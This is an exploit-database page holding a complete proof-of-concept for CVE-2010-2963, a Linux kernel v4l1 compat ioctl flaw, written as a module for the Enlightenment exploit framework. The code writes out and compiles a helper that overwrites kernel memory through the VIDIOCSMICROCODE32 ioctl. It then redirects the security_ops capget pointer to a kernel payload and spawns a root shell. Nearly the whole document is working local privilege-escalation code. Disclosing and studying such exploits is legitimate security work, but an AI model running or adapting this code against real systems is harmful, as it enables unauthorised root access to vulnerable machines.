[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Linux Kernel VIDIOCSMICROCODE IOCTL Local Memory Overwrite Vulnerability
# Published : 2010-10-28
# Author : Kees Cook
# Previous Title : Platinum SDK Library post upnp sscanf Buffer Overflow Vulnerability
# Next Title : Firefox Memory Corruption Proof of Concept (Simplified)


Source: http://www.securityfocus.com/bid/44242/info
/*
 * CVE-2010-2963
 * Arbitrary write memory write via v4l1 compat ioctl.
 * Kees Cook <kees@ubuntu.com>
 *
 * greets to drosenberg, spender, taviso
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include "exp_framework.h"

#include <stdint.h>
#include <string.h>
#include <poll.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <linux/videodev.h>
#include <syscall.h>

#include <sys/capability.h>
struct cap_header_t {
    uint32_t version;
    int pid;
};

#define DEVICE "/dev/video0"

struct exploit_state *exp_state;

char *desc = "Vyakarana: Linux v4l1 compat ioctl arbitrary memory write";
int requires_null_page = 0;

int built = 0;

int super_memcpy(unsigned long destination, void *source, int length)
{
    struct video_code vc = { };
    struct video_tuner tuner = { };
    int dev;
    unsigned int code;
    char cmd[80];

    if (!built) {
        FILE *source;
        char *sourcecode = "/*n
 * CVE-2010-2963: Write kernel memory via v4l compat ioctl.n
 * Oct 11, 2010  Kees Cook <kees@ubuntu.com>n
 *n
 */n
#define _GNU_SOURCEn
#include <stdio.h>n
#include <stdlib.h>n
#include <stdint.h>n
#include <unistd.h>n
#include <sys/types.h>n
#include <sys/stat.h>n
#include <fcntl.h>n
#include <string.h>n
#include <sys/ioctl.h>n
#include <sys/mman.h>n
#include <assert.h>n
#include <malloc.h>n
#include <sys/types.h>n
#include <linux/videodev.h>n
#include <syscall.h>n
n
#define DEVICE "/dev/video0"n
n
struct video_code32 {n
        char            loadwhat[16];n
        int             datasize;n
        int             padding;n
        uint64_t        data;n
};n
n
int super_memcpy(uint64_t destination, void *source, int length)n
{n
    struct video_code32 vc = { };n
    struct video_tuner tuner = { };n
    int dev;n
    unsigned int code;n
n
    if ( (dev=open(DEVICE, O_RDWR)) < 0) {n
        perror(DEVICE);n
        return 1;n
    }n
n
    vc.datasize = length;n
    vc.data = (uint64_t)(uintptr_t)source;n
n
    memset(&tuner, 0xBB, sizeof(tuner));n
n
    // manual union, since a real union won't do ptrs for 64bitn
    uint64_t *ptr = (uint64_t*)(&(tuner.name[20]));n
    *ptr = destination;n
n
    // beat memory into the stack...n
    code = VIDIOCSTUNER;n
    syscall(54, dev, code, &tuner);n
    syscall(54, dev, code, &tuner);n
    syscall(54, dev, code, &tuner);n
    syscall(54, dev, code, &tuner);n
    syscall(54, dev, code, &tuner);n
    syscall(54, dev, code, &tuner);n
n
    code = 0x4020761b; // VIDIOCSMICROCODE32 (why isn't this VIDIOCSMICROCODE?)n
    syscall(54, dev, code, &vc);n
n
    return 0;n
}n
n
int main(int argc, char *argv[])n
{n
    uint64_t destination = strtoull(argv[1], NULL, 16);n
    uint64_t value = strtoull(argv[2], NULL, 16);n
    int length = atoi(argv[3]);n
    if (length > sizeof(value))n
        length = sizeof(value);n
    return super_memcpy(destination, &value, length);n
}n
";

        if (!(source = fopen("vyakarana.c","w"))) {
            fprintf(stderr, "cannot write sourcen");
            return 1;
        }
        fwrite(sourcecode, strlen(sourcecode), 1, source);
        fclose(source);
        if (system("gcc -Wall -m32 vyakarana.c -o vyakarana") != 0) {
            fprintf(stderr, "cannot build sourcen");
            return 1;
        }
        built = 1;
    }

    printf("Writing to %p (len %d): ", (void*)destination, length);
    for (dev=0; dev<length; dev++) {
        printf("0x%02x ", *((unsigned char*)source+dev));
    }
    printf("n");

    sprintf(cmd, "./vyakarana %lx %lx 8", (uint64_t)(uintptr_t)destination, *(uint64_t*)source);
    return system(cmd);
}

int get_exploit_state_ptr(struct exploit_state *ptr)
{
    exp_state = ptr;
    return 0;
}

unsigned long default_sec;
unsigned long target;
unsigned long restore;

int prepare(unsigned char *buf)
{
    unsigned long addr;

    if (sizeof(long)!=8) {
        printf("Not enough bitsn");
        return 1;
    }

    printf("Reticulating splines...n");

    addr = exp_state->get_kernel_sym("security_ops");
    default_sec = exp_state->get_kernel_sym("default_security_ops");
    restore = exp_state->get_kernel_sym("cap_capget");

    // reset security_ops
    super_memcpy(addr, &default_sec, sizeof(void*));

    // aim capget to enlightenment payload
    target = default_sec + ((11 + sizeof(void*) -1) / sizeof(void*))*sizeof(void*) + (2 * sizeof(void*));
    super_memcpy(target, &(exp_state->own_the_kernel), sizeof(void*));

    return 0;
}

int trigger(void)
{
    struct cap_header_t hdr;
    uint32_t data[3];

    printf("Skipping school...n");

    hdr.version = _LINUX_CAPABILITY_VERSION_1;
    hdr.pid = 1;
    capget((cap_user_header_t)&hdr, (cap_user_data_t)data);

    return 1;
}

int post(void)
{
    printf("Restoring grammar...n");

    // restore security op pointer
    super_memcpy(target, &restore, sizeof(void*));

    return RUN_ROOTSHELL;
}